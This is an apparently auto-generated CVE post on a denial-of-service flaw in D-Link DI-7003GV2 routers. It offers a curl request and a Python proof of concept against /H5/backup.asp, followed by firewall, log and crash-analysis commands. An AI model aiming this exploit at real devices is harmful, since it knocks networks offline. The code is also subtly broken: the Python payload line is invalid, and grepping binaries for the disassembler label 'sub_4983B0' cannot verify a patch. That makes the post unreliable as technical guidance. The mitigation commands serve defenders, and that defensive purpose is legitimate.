D-Link DI-7003GV2, Denial of Service, CVE-2025-4749 (Critical)

Listen to this Post

How CVE-2025-4749 Works

The vulnerability resides in the `sub_4983B0` function within /H5/backup.asp?opt=reset, which handles factory reset operations. An unauthenticated remote attacker can send a crafted HTTP request to this endpoint, triggering a memory corruption issue. This leads to a denial of service (DoS) condition, crashing the device and requiring manual reboot. The flaw stems from improper input validation when processing reset commands, allowing malformed data to disrupt system stability.

DailyCVE Form

What Undercode Say:

Exploitation

1. Craft Malicious Request:

curl -X POST "http://<TARGET_IP>/H5/backup.asp?opt=reset" -d "malformed_payload"

2. Python PoC:

import requests
target = "http://192.168.1.1/H5/backup.asp"
payload = {"opt": "reset", "data": "A" 1000}
requests.post(target, data=payload)

Mitigation

  1. Temporary Fix: Block access to `/H5/backup.asp` via firewall:
    iptables -A INPUT -p tcp --dport 80 -m string --string "/H5/backup.asp" --algo bm -j DROP
    

2. Firmware Check:

grep -r "sub_4983B0" /firmware_dir

3. Log Monitoring:

tail -f /var/log/httpd.log | grep "backup.asp"

Analysis

  • Memory Dump: Use GDB to analyze crash:
    gdb -q /usr/sbin/httpd -c /tmp/crash_dump
    
  • Traffic Capture:
    tcpdump -i eth0 'port 80 and host <TARGET_IP>' -w exploit.pcap
    

Patch Verification

After update, confirm patched function:

strings /usr/bin/httpd | grep sub_4983B0
